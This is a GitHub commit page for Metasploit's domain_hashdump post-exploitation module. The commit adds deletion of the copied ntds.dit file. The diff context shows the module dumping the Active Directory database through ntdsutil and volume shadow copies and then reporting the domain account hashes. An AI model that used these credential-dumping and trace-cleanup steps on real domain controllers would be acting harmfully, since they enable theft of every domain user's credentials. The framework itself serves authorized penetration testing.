Skip to content

Commit a3d91df

Browse files
David MaloneyDavid Maloney
authored andcommitted
clean up ntds.dit file when done
delete the ntds.dit file we copied when we are done MSP-12358
1 parent ac04b8d commit a3d91df

File tree

1 file changed

+3
-3
lines changed

1 file changed

+3
-3
lines changed

modules/post/windows/gather/credentials/domain_hashdump.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -11,9 +11,9 @@
1111
class Metasploit3 < Msf::Post
1212
include Msf::Post::Windows::Registry
1313
include Msf::Auxiliary::Report
14-
include Msf::Post::Windows::Services
1514
include Msf::Post::Windows::Priv
1615
include Msf::Post::Windows::ShadowCopy
16+
include Msf::Post::File
1717

1818
def initialize(info={})
1919
super(update_info(info,
@@ -47,6 +47,7 @@ def run
4747
report_hash(hash_string.downcase,ad_account.name, realm)
4848
end
4949
end
50+
rm_f(ntds_file)
5051
end
5152
end
5253
end
@@ -76,7 +77,6 @@ def is_domain_controller?
7677
end
7778

7879
def ntdsutil_method
79-
get_env
8080
tmp_path = "#{expand_path("%TEMP%")}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}"
8181
command_arguments = "\"activate instance ntds\" \"ifm\" \"Create Full #{tmp_path}\" quit quit"
8282
result = cmd_exec("ntdsutil.exe", command_arguments)
@@ -149,7 +149,7 @@ def vss_method
149149
sc_path = "#{sc_details['DeviceObject']}\\windows\\ntds\\ntds.dit"
150150
target_path = "#{expand_path("%TEMP%")}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}"
151151
print_status "Moving ntds.dit to #{target_path}"
152-
client.fs.file.mv(sc_path, target_path)
152+
move_file(sc_path, target_path)
153153
target_path
154154
end
155155

0 commit comments

Comments
 (0)